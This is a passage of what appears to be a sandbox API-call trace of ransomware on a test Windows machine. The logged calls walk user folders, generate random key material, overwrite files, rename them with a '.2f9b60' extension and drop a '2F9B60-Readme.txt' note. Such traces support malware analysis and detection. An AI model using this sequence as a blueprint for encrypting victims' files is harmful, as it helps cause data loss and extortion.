(HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20264ce0 [0112.289] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures\\*", lpFindFileData=0x20264ce0 | out: lpFindFileData=0x20264ce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0112.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264ce0) returned 1 [0112.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ca30) returned 1 [0112.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ccd0) returned 1 Thread: id = 1116 os_tid = 0x60c [0112.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4c) returned 0x1cd9ccd0 [0112.295] wcscpy (in: _Dest=0x1cd9ccd0, _Source="C:\\Users\\Default\\Documents\\My Music" | out: _Dest="C:\\Users\\Default\\Documents\\My Music") returned="C:\\Users\\Default\\Documents\\My Music" [0112.295] wcscat (in: _Dest=0x1cd9ccd0, _Source="\\" | out: _Dest="C:\\Users\\Default\\Documents\\My Music\\") returned="C:\\Users\\Default\\Documents\\My Music\\" [0112.295] wcscat (in: _Dest=0x1cd9ccd0, _Source="*" | out: _Dest="C:\\Users\\Default\\Documents\\My Music\\*") returned="C:\\Users\\Default\\Documents\\My Music\\*" [0112.295] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20264ce0 [0112.295] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music\\*", lpFindFileData=0x20264ce0 | out: lpFindFileData=0x20264ce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0112.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264ce0) returned 1 [0112.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ccd0) returned 1 [0112.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 Thread: id = 1117 os_tid = 0xac0 [0112.301] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Contacts\\Administrator.contact" (normalized: "c:\\users\\default\\contacts\\administrator.contact")) returned 0x20 [0112.302] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Contacts\\Administrator.contact", dwFileAttributes=0x20) returned 1 [0112.302] CreateFileW (lpFileName="C:\\Users\\Default\\Contacts\\Administrator.contact" (normalized: "c:\\users\\default\\contacts\\administrator.contact"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1564 [0112.303] GetFileSizeEx (in: hFile=0x1564, lpFileSize=0x34e8f8a0 | out: lpFileSize=0x34e8f8a0*=68382) returned 1 [0112.303] SetFilePointerEx (in: hFile=0x1564, liDistanceToMove=0x10b1a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.303] ReadFile (in: hFile=0x1564, lpBuffer=0x34e8f820, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x34e8f868, lpOverlapped=0x0 | out: lpBuffer=0x34e8f820*, lpNumberOfBytesRead=0x34e8f868*=0x4, lpOverlapped=0x0) returned 1 [0112.305] SetFilePointerEx (in: hFile=0x1564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859b20 [0112.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ac60 [0112.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ab40 [0112.305] NtQuerySystemTime (in: CurrentTime=0x34e8f760 | out: CurrentTime=0x34e8f760*=132462177177718000) returned 0x0 [0112.305] RtlRandomEx (in: Seed=0x34e8f750 | out: Seed=0x34e8f750) returned 0x657beafd [0112.305] RtlRandomEx (in: Seed=0x34e8f750 | out: Seed=0x34e8f750) returned 0x7585c942 [0112.305] RtlRandomEx (in: Seed=0x34e8f750 | out: Seed=0x34e8f750) returned 0x6bb9a84d [0112.305] RtlRandomEx (in: Seed=0x34e8f750 | out: Seed=0x34e8f750) returned 0x1ae1e2ff [0112.305] RtlRandomEx (in: Seed=0x34e8f750 | out: Seed=0x34e8f750) returned 0x1c01cf65 [0112.305] RtlRandomEx (in: Seed=0x34e8f750 | out: Seed=0x34e8f750) returned 0x4e04d9c1 [0112.305] RtlRandomEx (in: Seed=0x34e8f750 | out: Seed=0x34e8f750) returned 0x773d7183 [0112.305] RtlRandomEx (in: Seed=0x34e8f750 | out: Seed=0x34e8f750) returned 0xe2b0ee6 [0112.305] RtlRandomEx (in: Seed=0x34e8f750 | out: Seed=0x34e8f750) returned 0x4e1e35d9 [0112.305] RtlRandomEx (in: Seed=0x34e8f750 | out: Seed=0x34e8f750) returned 0x4c4a56f8 [0112.305] RtlRandomEx (in: Seed=0x34e8f750 | out: Seed=0x34e8f750) returned 0x6cf22a4a [0112.305] RtlRandomEx (in: Seed=0x34e8f750 | out: Seed=0x34e8f750) returned 0x1f6993ef [0112.305] RtlRandomEx (in: Seed=0x34e8f750 | out: Seed=0x34e8f750) returned 0x559b7ac4 [0112.305] RtlRandomEx (in: Seed=0x34e8f750 | out: Seed=0x34e8f750) returned 0x2fe4b4c2 [0112.305] RtlRandomEx (in: Seed=0x34e8f750 | out: Seed=0x34e8f750) returned 0x3c5a6beb [0112.305] RtlRandomEx (in: Seed=0x34e8f750 | out: Seed=0x34e8f750) returned 0x60e0668d [0112.306] RtlRandomEx (in: Seed=0x34e8f750 | out: Seed=0x34e8f750) returned 0x5b2c4506 [0112.306] RtlRandomEx (in: Seed=0x34e8f750 | out: Seed=0x34e8f750) returned 0x68d003ed [0112.306] RtlRandomEx (in: Seed=0x34e8f750 | out: Seed=0x34e8f750) returned 0x11c47b31 [0112.306] RtlRandomEx (in: Seed=0x34e8f750 | out: Seed=0x34e8f750) returned 0x17948809 [0112.306] RtlRandomEx (in: Seed=0x34e8f750 | out: Seed=0x34e8f750) returned 0x293e259 [0112.306] RtlRandomEx (in: Seed=0x34e8f750 | out: Seed=0x34e8f750) returned 0x7cabee2c [0112.306] RtlRandomEx (in: Seed=0x34e8f750 | out: Seed=0x34e8f750) returned 0x19561f61 [0112.306] RtlRandomEx (in: Seed=0x34e8f750 | out: Seed=0x34e8f750) returned 0x29ad8eec [0112.306] RtlRandomEx (in: Seed=0x34e8f750 | out: Seed=0x34e8f750) returned 0x4a0d28c1 [0112.306] RtlRandomEx (in: Seed=0x34e8f750 | out: Seed=0x34e8f750) returned 0x7de90ad0 [0112.306] RtlRandomEx (in: Seed=0x34e8f750 | out: Seed=0x34e8f750) returned 0x1fd5cc1 [0112.306] RtlRandomEx (in: Seed=0x34e8f750 | out: Seed=0x34e8f750) returned 0x751120d2 [0112.306] RtlRandomEx (in: Seed=0x34e8f750 | out: Seed=0x34e8f750) returned 0x62ab9bb0 [0112.306] RtlRandomEx (in: Seed=0x34e8f750 | out: Seed=0x34e8f750) returned 0x7b2567f9 [0112.306] RtlRandomEx (in: Seed=0x34e8f750 | out: Seed=0x34e8f750) returned 0x6ab9a988 [0112.306] RtlRandomEx (in: Seed=0x34e8f750 | out: Seed=0x34e8f750) returned 0x46d52040 [0112.313] SetFilePointerEx (in: hFile=0x1564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.313] ReadFile (in: hFile=0x1564, lpBuffer=0x41e40d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x34e8f7c0, lpOverlapped=0x0 | out: lpBuffer=0x41e40d80*, lpNumberOfBytesRead=0x34e8f7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0112.330] SetFilePointerEx (in: hFile=0x1564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0112.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0112.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859a60 [0112.330] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859a60) returned 1 [0112.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e4c1b0 [0112.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859a60 [0112.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859a00 [0112.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859a00) returned 1 [0112.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0112.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0112.331] WriteFile (in: hFile=0x1564, lpBuffer=0x41e4c1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x34e8f7c0, lpOverlapped=0x0 | out: lpBuffer=0x41e4c1b0*, lpNumberOfBytesWritten=0x34e8f7c0*=0x3c00, lpOverlapped=0x0) returned 1 [0160.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e4c1b0) returned 1 [0160.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e40d80) returned 1 [0160.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1b7d8140 [0160.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c1f0 [0160.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f310 [0160.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a17f0 [0160.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a17f0) returned 1 [0160.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1b7d8080 [0160.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a17f0 [0160.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1820 [0160.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1820) returned 1 [0160.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 [0160.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c1f0) returned 1 [0160.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11c) returned 0x1b7dab10 [0160.767] SetFilePointerEx (in: hFile=0x1564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0160.767] WriteFile (hFile=0x1564, lpBuffer=0x1b7dab10, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x34e8f870, lpOverlapped=0x0) [0188.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18e60 [0188.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebafe0 [0188.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43135470 [0188.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43135470) returned 1 [0188.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9e9f0 [0188.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43135470 [0188.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431354a0 [0188.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431354a0) returned 1 [0188.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebafe0) returned 1 [0188.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18e60) returned 1 [0188.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1cd86250 [0188.971] sprintf (in: _Dest=0x1cd86250, _Format="%c%c" | out: _Dest="44") returned 2 [0188.971] sprintf (in: _Dest=0x1cd86252, _Format="%c%c" | out: _Dest="23") returned 2 [0188.971] sprintf (in: _Dest=0x1cd86254, _Format="%c%c" | out: _Dest="0e") returned 2 [0188.971] sprintf (in: _Dest=0x1cd86256, _Format="%c%c" | out: _Dest="57") returned 2 [0188.971] sprintf (in: _Dest=0x1cd86258, _Format="%c%c" | out: _Dest="f3") returned 2 [0188.971] sprintf (in: _Dest=0x1cd8625a, _Format="%c%c" | out: _Dest="71") returned 2 [0188.971] sprintf (in: _Dest=0x1cd8625c, _Format="%c%c" | out: _Dest="8c") returned 2 [0188.971] sprintf (in: _Dest=0x1cd8625e, _Format="%c%c" | out: _Dest="c3") returned 2 [0188.971] sprintf (in: _Dest=0x1cd86260, _Format="%c%c" | out: _Dest="59") returned 2 [0188.971] sprintf (in: _Dest=0x1cd86262, _Format="%c%c" | out: _Dest="d4") returned 2 [0188.971] sprintf (in: _Dest=0x1cd86264, _Format="%c%c" | out: _Dest="6e") returned 2 [0188.971] sprintf (in: _Dest=0x1cd86266, _Format="%c%c" | out: _Dest="49") returned 2 [0188.971] sprintf (in: _Dest=0x1cd86268, _Format="%c%c" | out: _Dest="e1") returned 2 [0188.971] sprintf (in: _Dest=0x1cd8626a, _Format="%c%c" | out: _Dest="f0") returned 2 [0188.971] sprintf (in: _Dest=0x1cd8626c, _Format="%c%c" | out: _Dest="9a") returned 2 [0188.971] sprintf (in: _Dest=0x1cd8626e, _Format="%c%c" | out: _Dest="30") returned 2 [0188.972] sprintf (in: _Dest=0x1cd86270, _Format="%c%c" | out: _Dest="21") returned 2 [0188.972] sprintf (in: _Dest=0x1cd86272, _Format="%c%c" | out: _Dest="c1") returned 2 [0188.972] sprintf (in: _Dest=0x1cd86274, _Format="%c%c" | out: _Dest="76") returned 2 [0188.972] sprintf (in: _Dest=0x1cd86276, _Format="%c%c" | out: _Dest="be") returned 2 [0188.972] sprintf (in: _Dest=0x1cd86278, _Format="%c%c" | out: _Dest="b2") returned 2 [0188.972] sprintf (in: _Dest=0x1cd8627a, _Format="%c%c" | out: _Dest="76") returned 2 [0188.972] sprintf (in: _Dest=0x1cd8627c, _Format="%c%c" | out: _Dest="36") returned 2 [0188.972] sprintf (in: _Dest=0x1cd8627e, _Format="%c%c" | out: _Dest="2f") returned 2 [0188.972] sprintf (in: _Dest=0x1cd86280, _Format="%c%c" | out: _Dest="28") returned 2 [0188.972] sprintf (in: _Dest=0x1cd86282, _Format="%c%c" | out: _Dest="c4") returned 2 [0188.972] sprintf (in: _Dest=0x1cd86284, _Format="%c%c" | out: _Dest="42") returned 2 [0188.972] sprintf (in: _Dest=0x1cd86286, _Format="%c%c" | out: _Dest="68") returned 2 [0188.972] sprintf (in: _Dest=0x1cd86288, _Format="%c%c" | out: _Dest="dc") returned 2 [0188.972] sprintf (in: _Dest=0x1cd8628a, _Format="%c%c" | out: _Dest="b4") returned 2 [0188.972] sprintf (in: _Dest=0x1cd8628c, _Format="%c%c" | out: _Dest="24") returned 2 [0188.972] sprintf (in: _Dest=0x1cd8628e, _Format="%c%c" | out: _Dest="ca") returned 2 [0188.972] sprintf (in: _Dest=0x1cd86290, _Format="%c%c" | out: _Dest="71") returned 2 [0188.972] sprintf (in: _Dest=0x1cd86292, _Format="%c%c" | out: _Dest="ed") returned 2 [0188.972] sprintf (in: _Dest=0x1cd86294, _Format="%c%c" | out: _Dest="84") returned 2 [0188.972] sprintf (in: _Dest=0x1cd86296, _Format="%c%c" | out: _Dest="ff") returned 2 [0188.972] sprintf (in: _Dest=0x1cd86298, _Format="%c%c" | out: _Dest="6b") returned 2 [0188.972] sprintf (in: _Dest=0x1cd8629a, _Format="%c%c" | out: _Dest="c8") returned 2 [0188.972] sprintf (in: _Dest=0x1cd8629c, _Format="%c%c" | out: _Dest="4a") returned 2 [0188.972] sprintf (in: _Dest=0x1cd8629e, _Format="%c%c" | out: _Dest="c7") returned 2 [0188.972] sprintf (in: _Dest=0x1cd862a0, _Format="%c%c" | out: _Dest="ed") returned 2 [0188.972] sprintf (in: _Dest=0x1cd862a2, _Format="%c%c" | out: _Dest="79") returned 2 [0188.972] RtlInitAnsiString (in: DestinationString=0x34e8f8e8, SourceString="44230e57f3718cc359d46e49e1f09a3021c176beb276362f28c44268dcb424ca71ed84ff6bc84ac7ed79" | out: DestinationString="44230e57f3718cc359d46e49e1f09a3021c176beb276362f28c44268dcb424ca71ed84ff6bc84ac7ed79") [0188.972] RtlAnsiStringToUnicodeString (in: DestinationString=0x34e8f8b8, SourceString="44230e57f3718cc359d46e49e1f09a3021c176beb276362f28c44268dcb424ca71ed84ff6bc84ac7ed79", AllocateDestinationString=1 | out: DestinationString="44230e57f3718cc359d46e49e1f09a3021c176beb276362f28c44268dcb424ca71ed84ff6bc84ac7ed79") returned 0x0 [0188.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x42c37c50 [0188.973] RtlFreeAnsiString (AnsiString="4") [0188.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86250) returned 1 [0188.974] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9e9f0) returned 1 [0188.974] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43135470) returned 1 [0188.974] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7dab10) returned 1 [0188.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8080) returned 1 [0188.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a17f0) returned 1 [0188.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8140) returned 1 [0188.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859a60) returned 1 [0188.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ac60) returned 1 [0188.977] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b050) returned 1 [0188.977] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859f10) returned 1 [0188.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1cebafe0 [0188.978] wcscat (in: _Dest=0x1cebafe0, _Source="44230e57f3718cc359d46" | out: _Dest="C:\\Users\\Default\\Contacts\\44230e57f3718cc359d46") returned="C:\\Users\\Default\\Contacts\\44230e57f3718cc359d46" [0188.978] wcscat (in: _Dest=0x1cebafe0, _Source=".2f9b60" | out: _Dest="C:\\Users\\Default\\Contacts\\44230e57f3718cc359d46.2f9b60") returned="C:\\Users\\Default\\Contacts\\44230e57f3718cc359d46.2f9b60" [0188.978] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Default\\Contacts\\44230e57f3718cc359d46.2f9b60", NtPathName=0x34e8f890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Default\\Contacts\\44230e57f3718cc359d46.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0188.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1ce63bf0 [0202.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce63bf0) returned 1 [0202.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20290970) returned 1 [0202.055] NtQueryInformationFile (in: FileHandle=0x1564, IoStatusBlock=0x34e8f8f8, FileInformation=0x34e8f908, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x34e8f8f8, FileInformation=0x34e8f908) returned 0x0 [0202.055] NtSetInformationFile (FileHandle=0x1564, IoStatusBlock=0x34e8f8f8, FileInformation=0x34e8f908, Length=0x28, FileInformationClass=0x4) returned 0x0 [0205.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebafe0) returned 1 [0205.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c37c50) returned 1 [0205.962] FlushFileBuffers (hFile=0x1564) returned 1 [0205.967] CloseHandle (hObject=0x1564) returned 1 [0209.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1cddf440 [0209.051] wcscpy (in: _Dest=0x1cddf440, _Source="C:\\Users\\Default\\Contacts\\" | out: _Dest="C:\\Users\\Default\\Contacts\\") returned="C:\\Users\\Default\\Contacts\\" [0209.051] wcscat (in: _Dest=0x1cddf440, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\Default\\Contacts\\2F9B60-Readme.txt") returned="C:\\Users\\Default\\Contacts\\2F9B60-Readme.txt" [0209.051] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Contacts\\2F9B60-Readme.txt" (normalized: "c:\\users\\default\\contacts\\2f9b60-readme.txt")) returned 0xffffffff [0209.051] CreateFileW (lpFileName="C:\\Users\\Default\\Contacts\\2F9B60-Readme.txt" (normalized: "c:\\users\\default\\contacts\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2310 [0216.610] WriteFile (in: hFile=0x2310, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x34e8f7b0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x34e8f7b0*=0xba9, lpOverlapped=0x0) returned 1 [0220.309] CloseHandle (hObject=0x2310) returned 1 [0223.992] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddf440) returned 1 [0223.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c20c0) returned 1 Thread: id = 1118 os_tid = 0xe28 [0112.314] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wjzsou.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\wjzsou.mp3")) returned 0x20 [0112.315] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wjzsou.mp3", dwFileAttributes=0x20) returned 1 [0112.315] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\wjzsou.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\wjzsou.mp3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe18 [0112.315] GetFileSizeEx (in: hFile=0xe18, lpFileSize=0x1dc1fe40 | out: lpFileSize=0x1dc1fe40*=98326) returned 1 [0112.315] SetFilePointerEx (in: hFile=0xe18, liDistanceToMove=0x18012, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.315] ReadFile (in: hFile=0xe18, lpBuffer=0x1dc1fdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1dc1fe08, lpOverlapped=0x0 | out: lpBuffer=0x1dc1fdc0*, lpNumberOfBytesRead=0x1dc1fe08*=0x4, lpOverlapped=0x0) returned 1 [0112.316] SetFilePointerEx (in: hFile=0xe18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859b20 [0112.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ab40 [0112.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859a60 [0112.316] NtQuerySystemTime (in: CurrentTime=0x1dc1fd00 | out: CurrentTime=0x1dc1fd00*=132462177177718000) returned 0x0 [0112.316] RtlRandomEx (in: Seed=0x1dc1fcf0 | out: Seed=0x1dc1fcf0) returned 0x2512beed [0112.316] RtlRandomEx (in: Seed=0x1dc1fcf0 | out: Seed=0x1dc1fcf0) returned 0x2c16aae9 [0112.316] RtlRandomEx (in: Seed=0x1dc1fcf0 | out: Seed=0x1dc1fcf0) returned 0x2ce55b26 [0112.316] RtlRandomEx (in: Seed=0x1dc1fcf0 | out: Seed=0x1dc1fcf0) returned 0x68693b0a [0112.317] RtlRandomEx (in: Seed=0x1dc1fcf0 | out: Seed=0x1dc1fcf0) returned 0x56f90680 [0112.317] RtlRandomEx (in: Seed=0x1dc1fcf0 | out: Seed=0x1dc1fcf0) returned 0x57df9711 [0112.317] RtlRandomEx (in: Seed=0x1dc1fcf0 | out: Seed=0x1dc1fcf0) returned 0x21eb4a19 [0112.317] RtlRandomEx (in: Seed=0x1dc1fcf0 | out: Seed=0x1dc1fcf0) returned 0x341da237 [0112.317] RtlRandomEx (in: Seed=0x1dc1fcf0 | out: Seed=0x1dc1fcf0) returned 0x302ebb91 [0112.317] RtlRandomEx (in: Seed=0x1dc1fcf0 | out: Seed=0x1dc1fcf0) returned 0x418fbacc [0112.317] RtlRandomEx (in: Seed=0x1dc1fcf0 | out: Seed=0x1dc1fcf0) returned 0x4c28470e [0112.317] RtlRandomEx (in: Seed=0x1dc1fcf0 | out: Seed=0x1dc1fcf0) returned 0x32021d31 [0112.317] RtlRandomEx (in: Seed=0x1dc1fcf0 | out: Seed=0x1dc1fcf0) returned 0x3d52bcad [0112.317] RtlRandomEx (in: Seed=0x1dc1fcf0 | out: Seed=0x1dc1fcf0) returned 0x22562d20 [0112.317] RtlRandomEx (in: Seed=0x1dc1fcf0 | out: Seed=0x1dc1fcf0) returned 0x432a7ca6 [0112.317] RtlRandomEx (in: Seed=0x1dc1fcf0 | out: Seed=0x1dc1fcf0) returned 0x5a3a6993 [0112.317] RtlRandomEx (in: Seed=0x1dc1fcf0 | out: Seed=0x1dc1fcf0) returned 0x52d6d041 [0112.317] RtlRandomEx (in: Seed=0x1dc1fcf0 | out: Seed=0x1dc1fcf0) returned 0xa696c1 [0112.317] RtlRandomEx (in: Seed=0x1dc1fcf0 | out: Seed=0x1dc1fcf0) returned 0x2670207e [0112.317] RtlRandomEx (in: Seed=0x1dc1fcf0 | out: Seed=0x1dc1fcf0) returned 0x402f564f [0112.317] RtlRandomEx (in: Seed=0x1dc1fcf0 | out: Seed=0x1dc1fcf0) returned 0x41fae7af [0112.317] RtlRandomEx (in: Seed=0x1dc1fcf0 | out: Seed=0x1dc1fcf0) returned 0x6667fb5b [0112.317] RtlRandomEx (in: Seed=0x1dc1fcf0 | out: Seed=0x1dc1fcf0) returned 0x3afa7895 [0112.317] RtlRandomEx (in: Seed=0x1dc1fcf0 | out: Seed=0x1dc1fcf0) returned 0x22c5e249 [0112.317] RtlRandomEx (in: Seed=0x1dc1fcf0 | out: Seed=0x1dc1fcf0) returned 0x6f2ebb0d [0112.317] RtlRandomEx (in: Seed=0x1dc1fcf0 | out: Seed=0x1dc1fcf0) returned 0x1b014f23 [0112.317] RtlRandomEx (in: Seed=0x1dc1fcf0 | out: Seed=0x1dc1fcf0) returned 0x259d3d12 [0112.317] RtlRandomEx (in: Seed=0x1dc1fcf0 | out: Seed=0x1dc1fcf0) returned 0x3f7dc034 [0112.317] RtlRandomEx (in: Seed=0x1dc1fcf0 | out: Seed=0x1dc1fcf0) returned 0x4a1bb69c [0112.317] RtlRandomEx (in: Seed=0x1dc1fcf0 | out: Seed=0x1dc1fcf0) returned 0x29ad8eec [0112.317] RtlRandomEx (in: Seed=0x1dc1fcf0 | out: Seed=0x1dc1fcf0) returned 0x3e4f8c78 [0112.317] RtlRandomEx (in: Seed=0x1dc1fcf0 | out: Seed=0x1dc1fcf0) returned 0x252ebdac [0112.326] SetFilePointerEx (in: 